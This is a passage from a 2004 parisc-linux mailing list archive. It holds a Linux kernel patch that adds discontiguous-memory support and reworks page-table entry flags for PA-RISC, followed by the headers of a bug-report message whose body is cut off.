-	printk(KERN_WARNING "option can lead to heavy swapping, even when there are gigabytes\n");
-	printk(KERN_WARNING "of free memory.\n\n");
-#endif
-
-#ifdef __LP64__
-
-#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Sort the ranges. Since the number of ranges is typically
 	 * small, and performance is not an issue here, just do
@@ -160,11 +148,10 @@ static void __init setup_bootmem(void)
 		}
 	}
 
+#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Throw out ranges that are too far apart (controlled by
-	 * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
-	 * poorly, we would recommend enabling that option, but,
-	 * until it is fixed, this is the best way to go.
+	 * MAX_GAP).
 	 */
 
 	for (i = 1; i < npmem_ranges; i++) {
@@ -172,6 +159,11 @@ static void __init setup_bootmem(void)
 			(pmem_ranges[i-1].start_pfn +
 			 pmem_ranges[i-1].pages) > MAX_GAP) {
 			npmem_ranges = i;
+			printk("Large gap in memory detected (%ld pages). "
+			       "Consider turning on CONFIG_DISCONTIGMEM\n",
+			       pmem_ranges[i].start_pfn -
+			       (pmem_ranges[i-1].start_pfn +
+			        pmem_ranges[i-1].pages));
 			break;
 		}
 	}
@@ -194,8 +186,6 @@ static void __init setup_bootmem(void)
 		}
 	}
 
-#endif /* __LP64__ */
-
 	sysram_resource_count = npmem_ranges;
 	for (i = 0; i < sysram_resource_count; i++) {
 		struct resource *res = &sysram_resources[i];
@@ -218,6 +208,7 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
+	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -232,15 +223,16 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
+	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
+	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
 	printk(KERN_INFO "Total Memory: %ld Mb\n",mem_max >> 20);
 
 #ifndef CONFIG_DISCONTIGMEM
-
 	/* Merge the ranges, keeping track of the holes */
 
 	{
@@ -272,9 +264,18 @@ static void __init setup_bootmem(void)
 	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
 
 #ifdef CONFIG_DISCONTIGMEM
+	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
+		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
+		NODE_DATA(i)->bdata = &bmem_data[i];
+	}
+	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
+
+	numnodes = npmem_ranges;
+
 	for (i = 0; i < npmem_ranges; i++)
-		node_data[i].pg_data.bdata = &bmem_data[i];
+		node_set_online(i);
 #endif
+
 	/*
 	 * Initialize and free the full range of memory in each range.
 	 * Note that the only writing these routines do are to the bootmap,
@@ -443,16 +444,20 @@ unsigned long pcxl_dma_start;
 
 void __init mem_init(void)
 {
-	int i;
-
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-	max_mapnr = (virt_to_page(high_memory - 1) - mem_map) + 1;
 
-	num_physpages = 0;
-	mem_map = zone_table[0]->zone_mem_map;
-	for (i = 0; i < npmem_ranges; i++)
-		num_physpages += free_all_bootmem_node(NODE_DATA(i));
-	totalram_pages = num_physpages;
+#ifndef CONFIG_DISCONTIGMEM
+	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	mem_map = zone_table[ZONE_DMA]->zone_mem_map;
+	totalram_pages += free_all_bootmem();
+#else
+	{
+		int i;
+
+		for (i = 0; i < npmem_ranges; i++)
+			totalram_pages += free_all_bootmem_node(NODE_DATA(i));
+	}
+#endif
 
 	printk(KERN_INFO "Memory: %luk available\n", num_physpages << (PAGE_SHIFT-10));
 
@@ -485,6 +490,7 @@ void show_mem(void)
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas();
 	printk(KERN_INFO "Free swap:	 %6dkB\n",nr_swap_pages<<(PAGE_SHIFT-10));
+#ifndef CONFIG_DISCONTIGMEM
 	i = max_mapnr;
 	while (i-- > 0) {
 		total++;
@@ -497,10 +503,50 @@ void show_mem(void)
 		else
 			shared += page_count(&mem_map[i]) - 1;
 	}
+#else
+	for (i = 0; i < npmem_ranges; i++) {
+		int j;
+
+		for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
+			struct page *p;
+
+			p = node_mem_map(i) + j - node_start_pfn(i);
+
+			total++;
+			if (PageReserved(p))
+				reserved++;
+			else if (PageSwapCache(p))
+				cached++;
+			else if (!page_count(p))
+				free++;
+			else
+				shared += page_count(p) - 1;
+        	}
+	}
+#endif
 	printk(KERN_INFO "%d pages of RAM\n", total);
 	printk(KERN_INFO "%d reserved pages\n", reserved);
 	printk(KERN_INFO "%d pages shared\n", shared);
 	printk(KERN_INFO "%d pages swap cached\n", cached);
+
+
+#ifdef CONFIG_DISCONTIGMEM
+	{
+		struct zonelist *zl;
+		int i, j, k;
+
+		for (i = 0; i < npmem_ranges; i++) {
+			for (j = 0; j < MAX_NR_ZONES; j++) {
+				zl = NODE_DATA(i)->node_zonelists + j;
+
+				printk("Zone list for zone %d on node %d: ", j, i);
+				for (k = 0; zl->zones[k] != NULL; k++) 
+					printk("[%d/%s] ", zl->zones[k]->zone_pgdat->node_id, zl->zones[k]->name);
+				printk("\n");
+			}
+		}
+	}
+#endif
 }
 
 
@@ -543,7 +589,7 @@ static void __init map_pages(unsigned lo
 #if PTRS_PER_PMD == 1
 		pmd = (pmd_t *)__pa(pg_dir);
 #else
-		pmd = (pmd_t *) (PAGE_MASK & pgd_val(*pg_dir));
+		pmd = (pmd_t *)pgd_address(*pg_dir);
 
 		/*
 		 * pmd is physical at this point
@@ -554,7 +600,7 @@ static void __init map_pages(unsigned lo
 			pmd = (pmd_t *) __pa(pmd);
 		}
 
-		pgd_val(*pg_dir) = _PAGE_TABLE | (unsigned long) pmd;
+		pgd_populate(NULL, pg_dir, __va(pmd));
 #endif
 		pg_dir++;
 
@@ -567,15 +613,14 @@ static void __init map_pages(unsigned lo
 			 * pg_table is physical at this point
 			 */
 
-			pg_table = (pte_t *) (PAGE_MASK & pmd_val(*pmd));
+			pg_table = (pte_t *)pmd_address(*pmd);
 			if (!pg_table) {
 				pg_table = (pte_t *)
 					alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE);
 				pg_table = (pte_t *) __pa(pg_table);
 			}
 
-			pmd_val(*pmd) = _PAGE_TABLE |
-					   (unsigned long) pg_table;
+			pmd_populate_kernel(NULL, pmd, __va(pg_table));
 
 			/* now change pg_table to kernel virtual addresses */
 
@@ -757,61 +802,26 @@ void __init paging_init(void)
 	flush_tlb_all_local();
 
 	for (i = 0; i < npmem_ranges; i++) {
-		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0, };
+		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0 };
 
+		/* We have an IOMMU, so all memory can go into a single
+		   ZONE_DMA zone. */
 		zones_size[ZONE_DMA] = pmem_ranges[i].pages;
+
 		free_area_init_node(i,NODE_DATA(i),NULL,zones_size,
-				(pmem_ranges[i].start_pfn << PAGE_SHIFT),0);
-	}
+				pmem_ranges[i].start_pfn, 0);
 
 #ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * Initialize support for virt_to_page() macro.
-	 *
-	 * Note that MAX_ADDRESS is the largest virtual address that
-	 * we can map. However, since we map all physical memory into
-	 * the kernel address space, it also has an effect on the maximum
-	 * physical address we can map (MAX_ADDRESS - PAGE_OFFSET).
-	 */
-
-	maxchunkmap = MAX_ADDRESS >> CHUNKSHIFT;
-	chunkmap = (unsigned char *)alloc_bootmem(maxchunkmap);
-
-	for (i = 0; i < maxchunkmap; i++)
-	    chunkmap[i] = BADCHUNK;
-
-	for (i = 0; i < npmem_ranges; i++) {
-
-		ADJ_NODE_MEM_MAP(i) = NODE_MEM_MAP(i) - pmem_ranges[i].start_pfn;
 		{
-			unsigned long chunk_paddr;
-			unsigned long end_paddr;
-			int chunknum;
-
-			chunk_paddr = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
-			end_paddr = chunk_paddr + (pmem_ranges[i].pages << PAGE_SHIFT);
-			chunk_paddr &= CHUNKMASK;
-
-			chunknum = (int)CHUNKNUM(chunk_paddr);
-			while (chunk_paddr < end_paddr) {
-				if (chunknum >= maxchunkmap)
-					goto badchunkmap1;
-				if (chunkmap[chunknum] != BADCHUNK)
-					goto badchunkmap2;
-				chunkmap[chunknum] = (unsigned char)i;
-				chunk_paddr += CHUNKSZ;
-				chunknum++;
-			}
+		    int j;
+		    for (j = (node_start_pfn(i) >> PFNNID_SHIFT);
+			 j <= (node_end_pfn(i) >> PFNNID_SHIFT);
+			 j++) {
+			pfnnid_map[j] = i;
+		    }
 		}
-	}
-
-	return;
-
-badchunkmap1:
-	panic("paging_init: Physical address exceeds maximum address space!\n");
-badchunkmap2:
-	panic("paging_init: Collision in chunk map array. CHUNKSZ needs to be smaller\n");
 #endif
+	}
 }
 
 #ifdef CONFIG_PA20
Index: fs/bio.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/bio.c,v
retrieving revision 1.9
diff -u -p -r1.9 bio.c
--- fs/bio.c	23 May 2004 23:52:39 -0000	1.9
+++ fs/bio.c	3 Jul 2004 06:55:49 -0000
@@ -345,8 +345,8 @@ static int __bio_add_page(request_queue_
 	}
 
 	/* If we may be able to merge these biovecs, force a recount */
-	if(BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
-	   BIOVEC_VIRT_MERGEABLE(bvec-1, bvec))
+	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
+	    BIOVEC_VIRT_MERGEABLE(bvec-1, bvec)))
 		bio->bi_flags &= ~(1 << BIO_SEG_VALID);
 
 	bio->bi_vcnt++;
Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/assembly.h,v
retrieving revision 1.1
diff -u -p -r1.1 assembly.h
--- include/asm-parisc/assembly.h	29 Jul 2003 17:02:03 -0000	1.1
+++ include/asm-parisc/assembly.h	7 Jul 2004 04:53:16 -0000
@@ -110,6 +110,16 @@
 	depd,z	\r, 63-\sa, 64-\sa, \t
 	.endm
 
+	/* Shift Right - note the r and t can NOT be the same! */
+	.macro shr r, sa, t
+	extru \r, 31-\sa, 32-\sa, \t
+	.endm
+
+	/* pa20w version of shift right */
+	.macro shrd r, sa, t
+	extrd,u \r, 63-\sa, 64-\sa, \t
+	.endm
+
 	/* load 32-bit 'value' into 'reg' compensating for the ldil
 	 * sign-extension when running in wide mode.
 	 * WARNING!! neither 'value' nor 'reg' can be expressions
Index: include/asm-parisc/io.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/io.h,v
retrieving revision 1.7
diff -u -p -r1.7 io.h
--- include/asm-parisc/io.h	10 Mar 2004 19:24:49 -0000	1.7
+++ include/asm-parisc/io.h	3 Jul 2004 06:55:49 -0000
@@ -24,11 +24,6 @@ extern unsigned long parisc_vmerge_max_s
 #define virt_to_bus virt_to_phys
 #define bus_to_virt phys_to_virt
 
-/*
- * Change "struct page" to physical address.
- */
-#define page_to_phys(page)	((page - mem_map) << PAGE_SHIFT)
-
 /* Memory mapped IO */
 
 extern void * __ioremap(unsigned long offset, unsigned long size, unsigned long flags);
Index: include/asm-parisc/mmzone.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/mmzone.h,v
retrieving revision 1.1
diff -u -p -r1.1 mmzone.h
--- include/asm-parisc/mmzone.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/mmzone.h	6 Jul 2004 03:24:57 -0000
@@ -1,31 +1,89 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#ifdef CONFIG_DISCONTIGMEM
+
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+extern int npmem_ranges;
+
 struct node_map_data {
     pg_data_t pg_data;
-    struct page *adj_node_mem_map;
 };
 
 extern struct node_map_data node_data[];
-extern unsigned char *chunkmap;
-
-#define BADCHUNK                ((unsigned char)0xff)
-#define CHUNKSZ                 (256*1024*1024)
-#define CHUNKSHIFT              28
-#define CHUNKMASK               (~(CHUNKSZ - 1))
-#define CHUNKNUM(paddr)         ((paddr) >> CHUNKSHIFT)
 
 #define NODE_DATA(nid)          (&node_data[nid].pg_data)
-#define NODE_MEM_MAP(nid)       (NODE_DATA(nid)->node_mem_map)
-#define ADJ_NODE_MEM_MAP(nid)   (node_data[nid].adj_node_mem_map)
-
-#define phys_to_page(paddr) \
-	(ADJ_NODE_MEM_MAP(chunkmap[CHUNKNUM((paddr))]) \
-	+ ((paddr) >> PAGE_SHIFT))
-
-#define virt_to_page(kvaddr) phys_to_page(__pa(kvaddr))
-
-/* This is kind of bogus, need to investigate performance of doing it right */
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
 
-#endif /* !_PARISC_MMZONE_H */
+/*
+ * Given a kernel address, find the home node of the underlying memory.
+ */
+#define kvaddr_to_nid(kaddr)	pfn_to_nid(__pa(kaddr) >> PAGE_SHIFT)
+
+#define node_mem_map(nid)	(NODE_DATA(nid)->node_mem_map)
+#define node_start_pfn(nid)	(NODE_DATA(nid)->node_start_pfn)
+#define node_end_pfn(nid)						\
+({									\
+	pg_data_t *__pgdat = NODE_DATA(nid);				\
+	__pgdat->node_start_pfn + __pgdat->node_spanned_pages;		\
+})
+#define node_localnr(pfn, nid)		((pfn) - node_start_pfn(nid))
+
+#define local_mapnr(kvaddr)						\
+({									\
+	unsigned long __pfn = __pa(kvaddr) >> PAGE_SHIFT;		\
+	(__pfn - node_start_pfn(pfn_to_nid(__pfn)));			\
+})
+
+#define pfn_to_page(pfn)						\
+({									\
+	unsigned long __pfn = (pfn);					\
+	int __node  = pfn_to_nid(__pfn);				\
+	&node_mem_map(__node)[node_localnr(__pfn,__node)];		\
+})
+
+#define page_to_pfn(pg)							\
+({									\
+	struct page *__page = pg;					\
+	struct zone *__zone = page_zone(__page);			\
+	BUG_ON(__zone == NULL);						\
+	(unsigned long)(__page - __zone->zone_mem_map)			\
+		+ __zone->zone_start_pfn;				\
+})
+
+/* We have these possible memory map layouts:
+ * Astro: 0-3.75, 67.75-68, 4-64
+ * zx1: 0-1, 257-260, 4-256
+ * Stretch (N-class): 0-2, 4-32, 34-xxx
+ */
+
+/* Since each 1GB can only belong to one region (node), we can create
+ * an index table for pfn to nid lookup; each entry in pfnnid_map 
+ * represents 1GB, and contains the node that the memory belongs to. */
+
+#define PFNNID_SHIFT (30 - PAGE_SHIFT)
+extern unsigned char pfnnid_map[];
+
+static inline int pfn_to_nid(unsigned long pfn)
+{
+	unsigned int i;
+    unsigned char r;
+    i = pfn >> PFNNID_SHIFT;
+    r = pfnnid_map[i];
+    BUG_ON(r == 0xff);
+
+    return (int)r;
+}
+
+static inline int pfn_valid(int pfn)
+{
+	int nid = pfn_to_nid(pfn);
+
+	if (nid >= 0)
+		return (pfn < node_end_pfn(nid));
+	return 0;
+}
+
+#else /* !CONFIG_DISCONTIGMEM */
+#define MAX_PHYSMEM_RANGES 	1 
+#endif
+#endif /* _PARISC_MMZONE_H */
Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.9
diff -u -p -r1.9 page.h
--- include/asm-parisc/page.h	5 May 2004 23:02:47 -0000	1.9
+++ include/asm-parisc/page.h	9 Jul 2004 04:05:27 -0000
@@ -60,10 +60,15 @@ typedef struct { unsigned long pgprot; }
 #else
 #define pte_flags(x)	((x).flags)
 #endif
-#define pmd_val(x)	((x).pmd)
-#define pgd_val(x)	((x).pgd)
+
+/* These do not work lvalues, so make sure we don't use them as such. */
+#define pmd_val(x)	((x).pmd + 0)
+#define pgd_val(x)	((x).pgd + 0)
 #define pgprot_val(x)	((x).pgprot)
 
+#define __pmd_val_set(x,n) (x).pmd = (n)
+#define __pgd_val_set(x,n) (x).pgd = (n)
+
 #define __pte(x)	((pte_t) { (x) } )
 #define __pmd(x)	((pmd_t) { (x) } )
 #define __pgd(x)	((pgd_t) { (x) } )
@@ -83,12 +88,6 @@ extern __inline__ int get_order(unsigned
 	return order;
 }
 
-#ifdef __LP64__
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
-#else
-#define MAX_PHYSMEM_RANGES 1 /* First range is only range that fits in 32 bits */
-#endif
-
 typedef struct __physmem_range {
 	unsigned long start_pfn;
 	unsigned long pages;       /* PAGE_SIZE pages */
@@ -144,15 +143,16 @@ extern int npmem_ranges;
 #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
 #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
 
+#ifndef CONFIG_DISCONTIGMEM
 #define pfn_to_page(pfn)	(mem_map + (pfn))
 #define page_to_pfn(page)	((unsigned long)((page) - mem_map))
 #define pfn_valid(pfn)		((pfn) < max_mapnr)
+#endif /* CONFIG_DISCONTIGMEM */
+
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
 
-#ifndef CONFIG_DISCONTIGMEM
-#define virt_to_page(kaddr)     (mem_map + (__pa(kaddr) >> PAGE_SHIFT))
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
-#endif  /* !CONFIG_DISCONTIGMEM */
+#define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
+#define virt_to_page(kaddr)     pfn_to_page(__pa(kaddr) >> PAGE_SHIFT)
 
 #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
 				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
Index: include/asm-parisc/pgalloc.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgalloc.h,v
retrieving revision 1.5
diff -u -p -r1.5 pgalloc.h
--- include/asm-parisc/pgalloc.h	2 May 2004 16:16:01 -0000	1.5
+++ include/asm-parisc/pgalloc.h	9 Jul 2004 07:51:18 -0000
@@ -21,7 +21,7 @@
  * kernel for machines with under 4GB of memory) */
 static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 {
-	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL|GFP_DMA,
+	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL,
 					       PGD_ALLOC_ORDER);
 	pgd_t *actual_pgd = pgd;
 
@@ -30,13 +30,15 @@ static inline pgd_t *pgd_alloc(struct mm
 #ifdef __LP64__
 		actual_pgd += PTRS_PER_PGD;
 		/* Populate first pmd with allocated memory.  We mark it
-		 * with _PAGE_GATEWAY as a signal to the system that this
+		 * with PxD_FLAG_ATTACHED as a signal to the system that this
 		 * pmd entry may not be cleared. */
-		pgd_val(*actual_pgd) = (_PAGE_TABLE | _PAGE_GATEWAY) + 
-			(__u32)__pa((unsigned long)pgd);
+		__pgd_val_set(*actual_pgd, (PxD_FLAG_PRESENT | 
+				        PxD_FLAG_VALID | 
+					PxD_FLAG_ATTACHED) 
+			+ (__u32)(__pa((unsigned long)pgd) >> PxD_VALUE_SHIFT));
 		/* The first pmd entry also is marked with _PAGE_GATEWAY as
 		 * a signal that this pmd may not be freed */
-		pgd_val(*pgd) = _PAGE_GATEWAY;
+		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
 #endif
 	}
 	return actual_pgd;
@@ -56,14 +58,13 @@ static inline void pgd_free(pgd_t *pgd)
 
 static inline void pgd_populate(struct mm_struct *mm, pgd_t *pgd, pmd_t *pmd)
 {
-	pgd_val(*pgd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pmd);
+	__pgd_val_set(*pgd, (PxD_FLAG_PRESENT | PxD_FLAG_VALID) +
+		        (__u32)(__pa((unsigned long)pmd) >> PxD_VALUE_SHIFT));
 }
 
-/* NOTE: pmd must be in ZONE_DMA (<4GB) so the pgd pointer can be
- * housed in 32 bits */
 static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT|GFP_DMA,
+	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
 					       PMD_ORDER);
 	if (pmd)
 		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
@@ -73,7 +74,7 @@ static inline pmd_t *pmd_alloc_one(struc
 static inline void pmd_free(pmd_t *pmd)
 {
 #ifdef __LP64__
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
 		/* This is the permanent pmd attached to the pgd;
 		 * cannot free it */
 		return;
@@ -102,23 +103,24 @@ pmd_populate_kernel(struct mm_struct *mm
 #ifdef __LP64__
 	/* preserve the gateway marker if this is the beginning of
 	 * the permanent pmd */
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
-		pmd_val(*pmd) = (_PAGE_TABLE | _PAGE_GATEWAY)
-			+ (__u32)__pa((unsigned long)pte);
+	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
+		__pmd_val_set(*pmd, (PxD_FLAG_PRESENT |
+				 PxD_FLAG_VALID |
+				 PxD_FLAG_ATTACHED) 
+			+ (__u32)(__pa((unsigned long)pte) >> PxD_VALUE_SHIFT));
 	else
 #endif
-		pmd_val(*pmd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pte);
+		__pmd_val_set(*pmd, (PxD_FLAG_PRESENT | PxD_FLAG_VALID) 
+			+ (__u32)(__pa((unsigned long)pte) >> PxD_VALUE_SHIFT));
 }
 
 #define pmd_populate(mm, pmd, pte_page) \
 	pmd_populate_kernel(mm, pmd, page_address(pte_page))
 
-/* NOTE: pte must be in ZONE_DMA (<4GB) so that the pmd pointer
- * can be housed in 32 bits */
 static inline struct page *
 pte_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
+	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT);
 	if (likely(page != NULL))
 		clear_page(page_address(page));
 	return page;
@@ -127,7 +129,7 @@ pte_alloc_one(struct mm_struct *mm, unsi
 static inline pte_t *
 pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 {
-	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
+	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT);
 	if (likely(pte != NULL))
 		clear_page(pte);
 	return pte;
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.13
diff -u -p -r1.13 pgtable.h
--- include/asm-parisc/pgtable.h	1 Jul 2004 20:24:38 -0000	1.13
+++ include/asm-parisc/pgtable.h	7 Jul 2004 04:06:30 -0000
@@ -177,6 +177,21 @@ extern  void *vmalloc_start;
 #define _PAGE_CHG_MASK	(PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY)
 #define _PAGE_KERNEL	(_PAGE_PRESENT | _PAGE_EXEC | _PAGE_READ | _PAGE_WRITE | _PAGE_DIRTY | _PAGE_ACCESSED)
 
+/* The pgd/pmd contains a ptr (in phys addr space); since all pgds/pmds
+ * are page-aligned, we don't care about the PAGE_OFFSET bits, except
+ * for a few meta-information bits, so we shift the address to be
+ * able to effectively address 40-bits of physical address space. */
+#define _PxD_PRESENT_BIT   31
+#define _PxD_ATTACHED_BIT  30
+#define _PxD_VALID_BIT     29
+
+#define PxD_FLAG_PRESENT  (1 << xlate_pabit(_PxD_PRESENT_BIT))
+#define PxD_FLAG_ATTACHED (1 << xlate_pabit(_PxD_ATTACHED_BIT))
+#define PxD_FLAG_VALID    (1 << xlate_pabit(_PxD_VALID_BIT))
+#define PxD_FLAG_MASK     (0xf)
+#define PxD_FLAG_SHIFT    (4)
+#define PxD_VALUE_SHIFT   (8)
+
 #ifndef __ASSEMBLY__
 
 #define PAGE_NONE	__pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_ACCESSED)
@@ -244,49 +259,49 @@ extern unsigned long *empty_zero_page;
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
 
+#define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
+#define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
+#define pgd_flag(x)	(pgd_val(x) & PxD_FLAG_MASK)
+#define pgd_address(x)	((unsigned long)(pgd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
+
 #ifdef __LP64__
 /* The first entry of the permanent pmd is not there if it contains
  * the gateway marker */
-#define pmd_none(x)	(!pmd_val(x) || pmd_val(x) == _PAGE_GATEWAY)
-#define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pmd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
+#define pmd_none(x)	(!pmd_val(x) || pmd_flag(x) == PxD_FLAG_ATTACHED)
 #else
 #define pmd_none(x)	(!pmd_val(x))
-#define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #endif
-#define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
+#define pmd_bad(x)	(!(pmd_flag(x) & PxD_FLAG_VALID))
+#define pmd_present(x)	(pmd_flag(x) & PxD_FLAG_PRESENT)
 static inline void pmd_clear(pmd_t *pmd) {
 #ifdef __LP64__
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
 		/* This is the entry pointing to the permanent pmd
 		 * attached to the pgd; cannot clear it */
-		pmd_val(*pmd) = _PAGE_GATEWAY;
+		__pmd_val_set(*pmd, PxD_FLAG_ATTACHED);
 	else
 #endif
-		pmd_val(*pmd) = 0;
+		__pmd_val_set(*pmd,  0);
 }
 
 
 
 #if PT_NLEVELS == 3
-#define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
+#define pgd_page(pgd) ((unsigned long) __va(pgd_address(pgd)))
 
 /* For 64 bit we have three level tables */
 
 #define pgd_none(x)     (!pgd_val(x))
-#ifdef __LP64__
-#define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pgd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
-#else
-#define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
-#endif
-#define pgd_present(x)  (pgd_val(x) & _PAGE_PRESENT)
+#define pgd_bad(x)      (!(pgd_flag(x) & PxD_FLAG_VALID))
+#define pgd_present(x)  (pgd_flag(x) & PxD_FLAG_PRESENT)
 static inline void pgd_clear(pgd_t *pgd) {
 #ifdef __LP64__
-	if(pgd_val(*pgd) & _PAGE_GATEWAY)
+	if(pgd_flag(*pgd) & PxD_FLAG_ATTACHED)
 		/* This is the permanent pmd attached to the pgd; cannot
 		 * free it */
 		return;
 #endif
-	pgd_val(*pgd) = 0;
+	__pgd_val_set(*pgd, 0);
 }
 #else
 /*
@@ -353,15 +368,11 @@ extern inline pte_t pte_modify(pte_t pte
 
 #define pte_pfn(x) (pte_val(x) >> PAGE_SHIFT)
 
-#ifdef CONFIG_DISCONTIGMEM
-#define pte_page(x) (phys_to_page(pte_val(x)))
-#else
-#define pte_page(x) (mem_map+(pte_val(x) >> PAGE_SHIFT))
-#endif
+#define pte_page(pte)		(pfn_to_page(pte_pfn(pte)))
 
-#define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
+#define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_address(pmd)))
 
-#define __pmd_page(pmd) ((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
+#define __pmd_page(pmd) ((unsigned long) __va(pmd_address(pmd)))
 #define pmd_page(pmd)	virt_to_page((void *)__pmd_page(pmd))
 
 #define pgd_index(address) ((address) >> PGDIR_SHIFT)
--- include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
+++ include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
@@ -0,0 +1,9 @@
+#ifndef _ASM_MAX_NUMNODES_H
+#define _ASM_MAX_NUMNODES_H
+
+#include <linux/config.h>
+
+/* Max 8 Nodes */
+#define NODES_SHIFT	3
+
+#endif /* _ASM_MAX_NUMNODES_H */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at include/asm/mmzone.h:74!
Date: Sat, 10 Jul 2004 13:54:12 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200407101354.12456.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623494 10124 80.91.229.3 (22 Nov 2014 02:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
